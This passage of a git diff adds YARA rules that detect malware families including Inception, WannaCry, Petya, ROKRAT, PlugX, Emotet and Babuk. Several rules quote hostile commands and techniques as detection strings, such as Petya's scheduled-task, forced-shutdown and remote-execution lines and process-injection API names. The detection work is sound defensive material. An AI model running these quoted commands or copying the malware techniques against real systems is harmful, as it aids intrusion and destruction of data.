+        $a1 = "XTREME" wide
+        $a2 = "ServerStarted" wide
+        $a3 = "XtremeKeylogger" wide
+        $a4 = "x.html" wide
+        $a5 = "Xtreme RAT" wide
+    condition:
+        all of ($s*) or all of ($a*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/bluecoat/Bluecoat_index.yara b/yara-mikesxrs/bluecoat/Bluecoat_index.yara
new file mode 100644
index 0000000..9f451a5
--- /dev/null
+++ b/yara-mikesxrs/bluecoat/Bluecoat_index.yara
@@ -0,0 +1,123 @@
+rule InceptionDLL
+{
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+		reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+		$a = "dll.polymorphed.dll"
+		$b = {83 7d 08 00 0f 84 cf 00 00 00 83 7d 0c 00 0f 84 
+c5 00 00 00 83 7d 10 00 0f 84 bb 00 00 00 83 7d 14 08 
+0f 82 b1 00 00 00 c7 45 fc 00 00 00 00 8b 45 10 89 45 
+dc 68 00 00}
+		$c = {FF 15 ?? ?? ?? ?? 8B 4D 08 8B 11 C7 42 14 00 00 
+00 00 8B 45 08 8B 08 8B 55 14 89 51 18 8B 45 08 8B 08 
+8B 55 0C 89 51 1C 8B 45 08 8B 08 8B 55 10 89 51 20 8B 
+45 08 8B 08}
+		$d = {68 10 27 00 00 FF 15 ?? ?? ?? ?? 83 7D CC 0A 0F 
+8D 47 01 00 00 83 7D D0 00 0F 85 3D 01 00 00 6A 20 6A 
+00 8D 4D D4 51 E8 ?? ?? ?? ?? 83 C4 0C 8B 55 08 89 55 
+E8 C7 45 D8}  
+		$e = {55 8B EC 8B 45 08 8B 88 AC 23 03 00 51 8B 55 0C 
+52 8B 45 0C 8B 48 04 FF D1 83 C4 08 8B 55 08 8B 82 14 
+BB 03 00 50 8B 4D 0C 51 8B 55 0C 8B 42 04}
+
+    condition:
+		any of them
+}
+
+rule InceptionAndroid {
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+		reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+		$a1 = "BLOGS AVAILABLE="
+		$a2 = "blog-index"
+		$a3 = "Cant create dex="
+        
+    condition:
+		all of them
+}
+
+rule InceptionBlackberry {
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+		reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+		$a1 = "POSTALCODE:"
+		$a2 = "SecurityCategory:"
+		$a3 = "amount of free flash:"
+		$a4 = "$071|'1'|:"
+		$b1 = "God_Save_The_Queen"
+		$b2 = "UrlBlog"
+        
+    condition:
+		all of ($a*) or all of ($b*)
+}
+
+rule InceptionIOS {
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+		reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+		$a1 = "Developer/iOS/JohnClerk/"
+		$b1 = "SkypeUpdate"
+		$b2 = "/Syscat/"
+		$b3 = "WhatsAppUpdate"
+
+    condition:
+		$a1 and any of ($b*)
+}
+
+rule InceptionMips {
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+		reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+		$a = "start_sockat" ascii wide
+		$b = "start_sockss" ascii wide
+		$c = "13CStatusServer" ascii wide
+
+    condition:
+all of them
+}
+
+rule InceptionRTF {
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+		reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+		$a = "))PT@T"
+		$b = "XMLVERSION \"3.1.11.5604.5606"
+		$c = "objclass Word.Document.12}\\objw9355"
+    
+    condition:
+		all of them
+}
+
+rule InceptionVBS {
+
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+        reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    
+    strings:
+		$a = "c = Crypt(c,k)"
+		$b = "fso.BuildPath( WshShell.ExpandEnvironmentStrings(a), nn)"
+        
+    condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/bluecoat/InceptionAndroid.yar b/yara-mikesxrs/bluecoat/InceptionAndroid.yar
new file mode 100644
index 0000000..52a520a
--- /dev/null
+++ b/yara-mikesxrs/bluecoat/InceptionAndroid.yar
@@ -0,0 +1,13 @@
+rule InceptionAndroid {
+    meta:
+author = "Blue Coat Systems, Inc"
+info = "Used by unknown APT actors: Inception"
+reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+$a1 = "BLOGS AVAILABLE="
+$a2 = "blog-index"
+$a3 = "Cant create dex="
+    condition:
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/bluecoat/InceptionBlackberry.yar b/yara-mikesxrs/bluecoat/InceptionBlackberry.yar
new file mode 100644
index 0000000..bfc6204
--- /dev/null
+++ b/yara-mikesxrs/bluecoat/InceptionBlackberry.yar
@@ -0,0 +1,17 @@
+rule InceptionBlackberry {
+    meta:
+author = "Blue Coat Systems, Inc"
+info = "Used by unknown APT actors: Inception"
+reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+$a1 = "POSTALCODE:"
+$a2 = "SecurityCategory:"
+$a3 = "amount of free flash:"
+$a4 = "$071|'1'|:"
+$b1 = "God_Save_The_Queen"
+$b2 = "UrlBlog"
+
+    condition:
+all of ($a*) or all of ($b*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/bluecoat/InceptionDLL.yar b/yara-mikesxrs/bluecoat/InceptionDLL.yar
new file mode 100644
index 0000000..9dcb120
--- /dev/null
+++ b/yara-mikesxrs/bluecoat/InceptionDLL.yar
@@ -0,0 +1,27 @@
+rule InceptionDLL
+{
+    meta:
+author = "Blue Coat Systems, Inc"
+info = "Used by unknown APT actors: Inception"
+reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+$a = "dll.polymorphed.dll"
+$b = {83 7d 08 00 0f 84 cf 00 00 00 83 7d 0c 00 0f 84 
+c5 00 00 00 83 7d 10 00 0f 84 bb 00 00 00 83 7d 14 08 
+0f 82 b1 00 00 00 c7 45 fc 00 00 00 00 8b 45 10 89 45 
+dc 68 00 00}
+$c = {FF 15 ?? ?? ?? ?? 8B 4D 08 8B 11 C7 42 14 00 00 
+00 00 8B 45 08 8B 08 8B 55 14 89 51 18 8B 45 08 8B 08 
+8B 55 0C 89 51 1C 8B 45 08 8B 08 8B 55 10 89 51 20 8B 
+45 08 8B 08}
+$d = {68 10 27 00 00 FF 15 ?? ?? ?? ?? 83 7D CC 0A 0F 
+8D 47 01 00 00 83 7D D0 00 0F 85 3D 01 00 00 6A 20 6A 
+00 8D 4D D4 51 E8 ?? ?? ?? ?? 83 C4 0C 8B 55 08 89 55 
+E8 C7 45 D8}  
+$e = {55 8B EC 8B 45 08 8B 88 AC 23 03 00 51 8B 55 0C 
+52 8B 45 0C 8B 48 04 FF D1 83 C4 08 8B 55 08 8B 82 14 
+BB 03 00 50 8B 4D 0C 51 8B 55 0C 8B 42 04}
+    condition:
+any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/bluecoat/InceptionIOS.yar b/yara-mikesxrs/bluecoat/InceptionIOS.yar
new file mode 100644
index 0000000..b13a867
--- /dev/null
+++ b/yara-mikesxrs/bluecoat/InceptionIOS.yar
@@ -0,0 +1,15 @@
+rule InceptionIOS {
+    meta:
+author = "Blue Coat Systems, Inc"
+info = "Used by unknown APT actors: Inception"
+reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+$a1 = "Developer/iOS/JohnClerk/"
+$b1 = "SkypeUpdate"
+$b2 = "/Syscat/"
+$b3 = "WhatsAppUpdate"
+
+    condition:
+$a1 and any of ($b*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/bluecoat/InceptionMips.yar b/yara-mikesxrs/bluecoat/InceptionMips.yar
new file mode 100644
index 0000000..34d1601
--- /dev/null
+++ b/yara-mikesxrs/bluecoat/InceptionMips.yar
@@ -0,0 +1,14 @@
+rule InceptionMips {
+    meta:
+author = "Blue Coat Systems, Inc"
+info = "Used by unknown APT actors: Inception"
+reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+$a = "start_sockat" ascii wide
+$b = "start_sockss" ascii wide
+$c = "13CStatusServer" ascii wide
+
+    condition:
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/bluecoat/InceptionRTF.yar b/yara-mikesxrs/bluecoat/InceptionRTF.yar
new file mode 100644
index 0000000..1ef2967
--- /dev/null
+++ b/yara-mikesxrs/bluecoat/InceptionRTF.yar
@@ -0,0 +1,14 @@
+rule InceptionRTF {
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+		reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    strings:
+		$a = "))PT@T"
+		$b = "XMLVERSION \"3.1.11.5604.5606"
+		$c = "objclass Word.Document.12}\\objw9355"
+    
+    condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/bluecoat/InceptionVBS.yar b/yara-mikesxrs/bluecoat/InceptionVBS.yar
new file mode 100644
index 0000000..3caadeb
--- /dev/null
+++ b/yara-mikesxrs/bluecoat/InceptionVBS.yar
@@ -0,0 +1,15 @@
+rule InceptionVBS {
+
+    meta:
+		author = "Blue Coat Systems, Inc"
+		info = "Used by unknown APT actors: Inception"
+		reference = "https://www.bluecoat.com/documents/download/638d602b-70f4-4644-aaad-b80e1426aad4/d5c87163-e068-440f-b89e-e40b2f8d2088"
+
+    
+    strings:
+		$a = "c = Crypt(c,k)"
+		$b = "fso.BuildPath( WshShell.ExpandEnvironmentStrings(a), nn)"
+        
+    condition:
+		all of them
+}
diff --git a/yara-mikesxrs/blueliv/WannaCryptor.yar b/yara-mikesxrs/blueliv/WannaCryptor.yar
new file mode 100644
index 0000000..429ecaf
--- /dev/null
+++ b/yara-mikesxrs/blueliv/WannaCryptor.yar
@@ -0,0 +1,118 @@
+rule wannacry_static_ransom : wannacry_static_ransom {
+
+meta:
+
+description = "Detects WannaCryptor spreaded during 2017-May-12th campaign and variants"
+
+author = "Blueliv"
+
+reference = "https://blueliv.com/research/wannacrypt-malware-analysis/"
+
+date = "2017-05-15"
+
+strings:
+
+$mutex01 = "Global\\MsWinZonesCacheCounterMutexA" ascii
+
+$lang01 = "m_bulgarian.wnr" ascii
+
+$lang02 = "m_vietnamese.wnry" ascii
+
+$startarg01 = "StartTask" ascii
+
+$startarg02 = "TaskStart" ascii
+
+$startarg03 = "StartSchedule" ascii
+
+$wcry01 = "WanaCrypt0r" ascii wide
+
+$wcry02 = "WANACRY" ascii
+
+$wcry03 = "WANNACRY" ascii
+
+$wcry04 = "WNCRYT" ascii wide
+
+$forig01 = ".wnry\x00" ascii
+
+$fvar01 = ".wry\x00" ascii
+
+condition:
+
+($mutex01 or any of ($lang*)) and ( $forig01 or all of ($fvar*) ) and any of ($wcry*) and any of ($startarg*)
+
+}
+
+rule wannacry_memory_ransom : wannacry_memory_ransom {
+
+meta:
+
+description = "Detects WannaCryptor spreaded during 2017-May-12th campaign and variants in memory"
+
+author = "Blueliv"
+
+reference = "https://blueliv.com/research/wannacrypt-malware-analysis/"
+
+date = "2017-05-15"
+
+strings:
+
+$s01 = "%08X.eky"
+
+$s02 = "%08X.pky"
+
+$s03 = "%08X.res"
+
+$s04 = "%08X.dky"
+
+$s05 = "@WanaDecryptor@.exe"
+
+condition:
+
+all of them
+
+}
+
+rule worm_ms17_010 : worm_ms17_010 {
+
+meta:
+
+description = "Detects Worm used during 2017-May-12th WannaCry campaign, which is based on ETERNALBLUE"
+
+author = "Blueliv"
+
+reference = "https://blueliv.com/research/wannacrypt-malware-analysis/"
+
+date = "2017-05-15"
+
+strings:
+
+$s01 = "__TREEID__PLACEHOLDER__" ascii
+
+$s02 = "__USERID__PLACEHOLDER__@" ascii
+
+$s03 = "SMB3"
+
+$s05 = "SMBu"
+
+$s06 = "SMBs"
+
+$s07 = "SMBr"
+
+$s08 = "%s -m security" ascii
+
+$s09 = "%d.%d.%d.%d"
+
+$payloadwin2000_2195 =
+
+"\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00"
+
+$payload2000_50 =
+
+"\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"
+
+condition:
+
+all of them
+
+}
+
diff --git a/yara-mikesxrs/blueliv/banswift.yar b/yara-mikesxrs/blueliv/banswift.yar
new file mode 100644
index 0000000..6dafebf
--- /dev/null
+++ b/yara-mikesxrs/blueliv/banswift.yar
@@ -0,0 +1,45 @@
+rule banswift :banswift {
+meta:
+description = “Yara rule to detect samples that share wiping function with banswift�
+threat_level = 10
+reference = "https://www.blueliv.com/research/recap-of-cyber-attacks-targeting-swift/"
+strings:
+$snippet1 = {88 44 24 0D B9 FF 03 00 00 33 C0 8D 7C 24 2D C6 44 24 2C 5F 33 DB F3 AB 66 AB 53 68 80 00 00 00 6A 03 53 AA 8B 84 24 40 10 00 00 53 68 00 00 00 40 50 C6 44 24 2A FF 88 5C 24 2B C6 44 24 2C 7E C6 44 24 2D E7}
+/*
+88 44 24 0D mov [esp+102Ch+var_101F], al
+B9 FF 03 00 00 movecx, 3FFh
+33 C0 xoreax, eax
+8D 7C 24 2D lea edi, [esp+102Ch+var_FFF]
+C6 44 24 2C 5F mov [esp+102Ch+var_1000], 5Fh
+33 DB xorebx, ebx
+F3 AB rep stosd
+66 AB stosw
+53 push ebx ; _DWORD
+68 80 00 00 00 push 80h ; _DWORD
+6A 03 push 3 ; _DWORD
+53 push ebx ; _DWORD
+AA stosb
+8B 84 24 40 10 00 00 moveax, [esp+103Ch+arg_0]
+53 push ebx ; _DWORD
+68 00 00 00 40 push 40000000h ; _DWORD
+50 push eax ; _DWORD
+C6 44 24 2A FF mov [esp+1048h+var_101E], 0FFh
+88 5C 24 2B mov [esp+1048h+var_101D], bl
+C6 44 24 2C 7E mov [esp+1048h+var_101C], 7Eh
+C6 44 24 2D E7 mov [esp+1048h+var_101B], 0E7h
+*/
+$snippet2 = {25 FF 00 00 00 B9 00 04 00 00 8A D0 8D 7C 24 30 8A F2 8B C2 C1 E0 10 66 8B C2 F3 AB}
+/*
+25 FF 00 00 00 and eax, 0FFh
+B9 00 04 00 00 movecx, 400h
+8A D0 mov dl, al
+8D 7C 24 30 lea edi, [esp+30h]
+8A F2 mov dh, dl
+8B C2 moveax, edx
+C1 E0 10 shleax, 10h
+66 8B C2 mov ax, dx
+F3 AB rep stosd
+*/
+condition:
+all of ($snippet*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/blueliv/banswift_wiper.yar b/yara-mikesxrs/blueliv/banswift_wiper.yar
new file mode 100644
index 0000000..b24b318
--- /dev/null
+++ b/yara-mikesxrs/blueliv/banswift_wiper.yar
@@ -0,0 +1,12 @@
+rule banswift :banswift {
+meta:
+description = “Yara rule to detect samples that share wiping function with banswift�
+reference = "https://www.blueliv.com/research/recap-of-cyber-attacks-targeting-swift/"
+threat_level = 10
+
+strings:
+$snippet1 = {88 44 24 0D B9 FF 03 00 00 33 C0 8D 7C 24 2D C6 44 24 2C 5F 33 DB F3 AB 66 AB 53 68 80 00 00 00 6A 03 53 AA 8B 84 24 40 10 00 00 53 68 00 00 00 40 50 C6 44 24 2A FF 88 5C 24 2B C6 44 24 2C 7E C6 44 24 2D E7}
+$snippet2 = {25 FF 00 00 00 B9 00 04 00 00 8A D0 8D 7C 24 30 8A F2 8B C2 C1 E0 10 66 8B C2 F3 AB}
+condition:
+all of ($snippet*)
+}
diff --git a/yara-mikesxrs/blueliv/petya_eternalblue.yar b/yara-mikesxrs/blueliv/petya_eternalblue.yar
new file mode 100644
index 0000000..dd30f5c
--- /dev/null
+++ b/yara-mikesxrs/blueliv/petya_eternalblue.yar
@@ -0,0 +1,18 @@
+rule petya_eternalblue : petya_eternalblue {
+    meta:
+        author      = "blueliv"
+        description =  "Based on spreading petya version: 2017-06-28"
+        reference = "https://blueliv.com/petya-ransomware-cyber-attack-is-spreading-across-the-globe-part-2/"
+    strings:
+        /* Some commands executed by the Petya variant */
+       $cmd01 = "schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%0" wide
+       $cmd02 = "shutdown.exe /r /f" wide
+       $cmd03 = "%s \\\\%s -accepteula -s" wide
+       $cmd04 = "process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\%s\\\" #1" wide
+       /* Strings of encrypted files */
+       $str01 = "they have been encrypted. Perhaps you are busy looking" wide
+        /* MBR/VBR payload */
+        $mbr01 = {00 00 00 55 aa e9 ?? ??}
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/carbon black/DPRK_ROKRAT.yar b/yara-mikesxrs/carbon black/DPRK_ROKRAT.yar
new file mode 100644
index 0000000..d7f6e5d
--- /dev/null
+++ b/yara-mikesxrs/carbon black/DPRK_ROKRAT.yar	
@@ -0,0 +1,141 @@
+rule ROKRAT_loader : TAU DPRK APT
+
+{
+
+meta:
+
+    author = "CarbonBlack Threat Research" //JMyers
+
+    date = "2018-Jan-11"
+
+    description = "Designed to catch loader observed used with ROKRAT malware"
+
+    rule_version = 1
+
+	yara_version = "3.7.0"
+
+    TLP = "White"
+
+	exemplar_hashes = "e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd"
+
+strings:
+
+	$n1 = "wscript.exe"
+
+	$n2 = "cmd.exe"
+
+	$s1 = "CreateProcess"
+
+	$s2 = "VirtualAlloc"
+
+	$s3 = "WriteProcessMemory"
+
+	$s4 = "CreateRemoteThread"
+
+	$s5 = "LoadResource"
+
+	$s6 = "FindResource"
+
+	$b1 = {33 C9 33 C0 E8 00 00 00 00 5E} //Clear Register, call+5, pop ESI
+
+	$b2 = /\xB9.{3}\x00\x81\xE9?.{3}\x00/ //subtraction for encoded data offset
+
+    //the above regex could slow down scanning
+
+	$b3 = {03 F1 83 C6 02} //Fix up position
+
+	$b4 = {3E 8A 06 34 90 46} //XOR decode Key
+
+	$b5 = {3E 30 06 46 49 83 F9 00 75 F6} //XOR routine and jmp to code
+
+	//push api hash values plain text
+
+	$hpt_1 = {68 EC 97 03 0C} //api name hash value – Global Alloc
+
+	$hpt_2 = {68 54 CA AF 91} //api name hash value – Virtual Alloc
+
+	$hpt_3 = {68 8E 4E 0E EC} //api name hash value – Load Library
+
+	$hpt_4 = {68 AA FC 0D 7C} //api name hash value – GetProc Addr
+
+	$hpt_5 = {68 1B C6 46 79} //api name hash value – Virtual Protect
+
+	$hpt_6 = {68 F6 22 B9 7C} //api name hash value – Global Free
+
+	//push api hash values encoded XOR 0x13
+
+	$henc_1 = {7B FF 84 10 1F} //api name hash value – Global Alloc
+
+	$henc_2 = {7B 47 D9 BC 82} //api name hash value – Virtual Alloc
+
+	$henc_3 = {7B 9D 5D 1D EC} //api name hash value – Load Library
+
+	$henc_4 = {7B B9 EF 1E 6F} //api name hash value – GetProc Addr
+
+	$henc_5 = {7B 08 D5 55 6A} //api name hash value – Virtual Protect
+
+	$henc_6 = {7B E5 31 AA 6F} //api name hash value – Global Free
+
+condition:
+
+	(1 of ($n*) and 4 of ($s*) and 4 of ($b*)) or all of ($hpt*) or all of ($henc*)
+
+}
+
+
+rule ROKRAT_payload : TAU DPRK APT
+
+{
+
+meta:
+
+    author = "CarbonBlack Threat Research" //JMyers
+
+    date = "2018-Jan-11"
+
+    description = "Designed to catch loader observed used with ROKRAT malware"
+
+    rule_version = 1
+
+	yara_version = "3.7.0"
+
+    TLP = "White"
+
+	exemplar_hashes = "e200517ab9482e787a59e60accc8552bd0c844687cd0cf8ec4238ed2fc2fa573"
+
+strings:
+
+	$s1 = "api.box.com/oauth2/token" wide
+
+	$s2 = "upload.box.com/api/2.0/files/content" wide
+
+	$s3 = "api.pcloud.com/uploadfile?path=%s&filename=%s&nopartial=1" wide
+
+	$s4 = "cloud-api.yandex.net/v1/disk/resources/download?path=%s" wide
+
+	$s5 = "SbieDll.dll"
+
+	$s6 = "dbghelp.dll"
+
+	$s7 = "api_log.dll"
+
+	$s8 = "dir_watch.dll"
+
+	$s9 = "def_%s.jpg" wide
+
+	$s10 = "pho_%s_%d.jpg" wide
+
+	$s11 = "login=%s&password=%s&login_submit=Authorizing" wide
+
+	$s12 = "gdiplus.dll"
+
+	$s13 = "Set-Cookie:\\b*{.+?}\\n" wide
+
+	$s14 = "charset={[A-Za-z0-9\\-_]+}" wide
+
+condition:
+
+	12 of ($s*)
+
+}
+
diff --git a/yara-mikesxrs/carbon black/PNG_dropper.yar b/yara-mikesxrs/carbon black/PNG_dropper.yar
new file mode 100644
index 0000000..9408b13
--- /dev/null
+++ b/yara-mikesxrs/carbon black/PNG_dropper.yar	
@@ -0,0 +1,95 @@
+rule PNG_dropper:RU TR APT
+
+{
+
+meta:
+
+      author = "CarbonBlack Threat Research"
+
+      date = "2017-June-11"
+
+      description = "Dropper tool that extracts payload from PNG resources"
+      
+      reference = "https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/"
+
+      yara_version = "3.5.0"
+
+      exemplar_hashes = "3a5918c69b6ee801ab8bfc4fc872ac32cc96a47b53c3525723cc27f150e0bfa3, 69389f0d35d003ec3c9506243fd264afefe099d99fcc0e7d977007a12290a290, eeb7784b77d86627bac32e4db20da382cb4643ff8eb86ab1abaebaa56a650158 "
+
+strings:
+
+	$s1 = "GdipGetImageWidth"
+
+	$s2 = "GdipGetImageHeight"
+
+	$s3 = "GdipCreateBitmapFromStream"
+
+	$s4 = "GdipCreateBitmapFromStreamICM"
+
+	$s5 = "GdipBitmapLockBits"
+
+	$s6 = "GdipBitmapUnlockBits"
+
+	$s7 = "LockResource"
+
+	$s8 = "LoadResource"
+
+	$s9 = "ExpandEnvironmentStringsW"
+
+	$s10 = "SetFileTime"
+
+	$s11 = "memcmp"
+
+	$s12 = "strlen"
+
+	$s13 = "memcpy"
+
+	$s14 = "memchr"
+
+	$s15 = "memmove"
+
+	$s16 = "ZwQueryValueKey"
+
+	$s17 = "ZwQueryInformationProcess"
+
+	$s18 = "FindNextFile"
+
+	$s19 = "GetModuleHandle"
+
+	$s20 = "VirtualFree"
+
+	$PNG1 = {89 50 4E 47 [8] 49 48 44 52} //PNG Header
+
+	$bin32_bit1 = {50 68 07 10 06 00 6A 07 8?} //BitmapLockBits_x86
+
+	$bin64_bit1 = {41 B? 07 10 06 00} //BitmapLockBits_x64
+
+	$bin64_bit2 = {41 B? 07 00 00 00}//BitmapLockBits_x64
+
+	$bin32_virt1 = {6A 40 68 00 10 00 00 50 53} //VirtualAlloc_x86
+
+	$bin64_virt1 = {40 41 B? 00 10 00 00}//VirtualAlloc_x64
+
+   
+
+condition:
+
+    uint16(0) == 0x5A4D and // MZ header check
+
+    filesize < 6MB and
+
+    18 of ($s*) and
+
+    (#PNG1 > 7) and
+
+//checks for multiple PNG headers
+
+       ((#bin32_bit1 > 1 and $bin32_virt1) or
+
+//More than 1 of $bin32_bit and $bi32_virt1
+
+       (for 1 of ($bin64_bit*) : (# > 2) and $bin64_virt1))
+
+//1 of $bin64_bit - present more that 2 times and $bin64_Virt1
+
+}
diff --git a/yara-mikesxrs/carbon black/Plugx.yar b/yara-mikesxrs/carbon black/Plugx.yar
new file mode 100644
index 0000000..8ecd6f3
--- /dev/null
+++ b/yara-mikesxrs/carbon black/Plugx.yar	
@@ -0,0 +1,39 @@
+import "pe"
+
+rule bit9_ms15_093_plugx_dll_payload : TLPWHITE
+{
+    meta:
+         author = "rnolen@bit9.com"
+        date = "8.26.2015"
+        description = "Find a specific plugx variant DLL payload"
+        hash1 = "20d88b0fa34d3d79629cb602f08a1145008a75215fe2c91a3b3171287adc4c3d"
+    strings:
+        $datfile = "nvdisps_user.dat"
+        $dllfile = "nvdisps.dll"
+        $mutex	= "nvdisps_event"
+    condition:
+        3 of ($datfile,$dllfile,$mutex) and pe.exports("ShadowPlay")
+}
+
+
+rule bit9_ms15_093_plugx_dropper : TLPWHITE
+{
+    meta:
+        author = "rnolen@bit9.com"
+        date = "8.26.2015"
+        description = "Find a specific plugx variant dropper"
+        hash1 = "61900fb9841a4d6d14e990163ea575694e684beaf912f50989b0013a9634196f"
+        hash2 = "71b201a5a7dfdbe91c0a7783f845b71d066c62014b944f488de5aec6272f907c"
+        hash3 = "56ec1ccab98c1ed67a0095b7ec8e6b17b12da3e00d357274fa37ec63ec724c07"
+        hash4 = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
+    strings:
+        $datfile = "nvdisps_user.dat"
+        $dllfile = "nvdisps.dll"
+        $rundll32 = "Rundll32.exe"
+        $winhlp32 = "\\winhlp32.exe"
+        $shellout = "ShadowPlay 84"
+    condition:
+        5 of ($datfile,$dllfile,$rundll32,$winhlp32,$shellout)
+}
+
+
diff --git a/yara-mikesxrs/carbon black/emotet.yar b/yara-mikesxrs/carbon black/emotet.yar
new file mode 100644
index 0000000..b83f219
--- /dev/null
+++ b/yara-mikesxrs/carbon black/emotet.yar	
@@ -0,0 +1,52 @@
+rule Word_Emotet_Dropper_2017Aug : TAU Word Emotet VBA
+
+{
+
+meta:
+
+author = "Carbon Black TAU"
+
+date = "2017-August-22"
+
+description = "Emotet Word Document Dropper utilizing embedded Comments and Custom Properties Fields"
+
+reference = "https://www.carbonblack.com/2017/08/28/threat-analysis-word-documents-embedded-macros-leveraging-emotet-trojan/"
+
+yara_version = "3.5.0"
+
+exemplar_hashes = "20ca01986dd741cb475dd0312a424cebb53f1201067938269f2e746fb90d7c2e, c7cab605153ac4718af23d87c506e46b8f62ee2bc7e7a3e6140210c0aeb83d48, 3ca148e6d17868544170351c7e0dbef38e58de9435a2f33fe174c83ea9a5a7f5"
+
+strings:
+
+$signature = {D0 CF 11 E0}
+
+$base = /JAB7\w{100,}={0,2}/
+
+$s1 = "BuiltInDocumentProperties"
+
+$s2 = "CustomDocumentProperties"
+
+$s3 = "Run"
+
+$s4 = "VBA"
+
+$s6 = "Comments"
+
+$s7 = "autoopen"
+
+$s8 = "Module1"
+
+$s9 = "Picture 1" wide
+
+$s10 = "JFIF"
+
+condition:
+
+$signature at 0 and
+
+$base in (0x8200..0x9000) and
+
+8 of ($s*)
+
+}
+
diff --git a/yara-mikesxrs/chuongdong/BabukRansomware.yar b/yara-mikesxrs/chuongdong/BabukRansomware.yar
new file mode 100644
index 0000000..cedfa7c
--- /dev/null
+++ b/yara-mikesxrs/chuongdong/BabukRansomware.yar
@@ -0,0 +1,20 @@
+rule BabukRansomware {
+	meta:
+	  	description = "YARA rule for Babuk Ransomware"
+		reference = "http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/"
+		author = "@cPeterr"
+		date = "2021-01-03"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		tlp = "white"
+	strings:
+		$lanstr1 = "-lanfirst"
+		$lanstr2 = "-lansecond"
+		$lanstr3 = "-nolan"
+		$str1 = "BABUK LOCKER"
+		$str2 = ".__NIST_K571__" wide
+		$str3 = "How To Restore Your Files.txt" wide
+		$str4 = "ecdh_pub_k.bin" wide
+	condition:
+		all of ($str*) and all of ($lanstr*)
+}
diff --git a/yara-mikesxrs/chuongdong/BabukRansomwareV3.yar b/yara-mikesxrs/chuongdong/BabukRansomwareV3.yar
new file mode 100644
index 0000000..0f3e5b0
--- /dev/null
+++ b/yara-mikesxrs/chuongdong/BabukRansomwareV3.yar
@@ -0,0 +1,21 @@
+rule BabukRansomwareV3 {
+    meta:
+        description = "YARA rule for Babuk Ransomware v3"
+        reference = "http://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/"
+        author = "@cPeterr"
+        date = "2021-01-16"
+        rule_version = "v3"
+        malware_type = "ransomware"
+        tlp = "white"
+    strings:
+        $lanstr1 = "-lanfirst"
+        $lanstr2 = "-nolan"
+        $lanstr3 = "shares"
+        $str1 = "BABUK LOCKER"
+        $str2 = "babukq4e2p4wu4iq.onion"
+        $str3 = "How To Restore Your Files.txt" wide
+        $str4 = "babuk_v3"
+        $str5 = ".babyk" wide
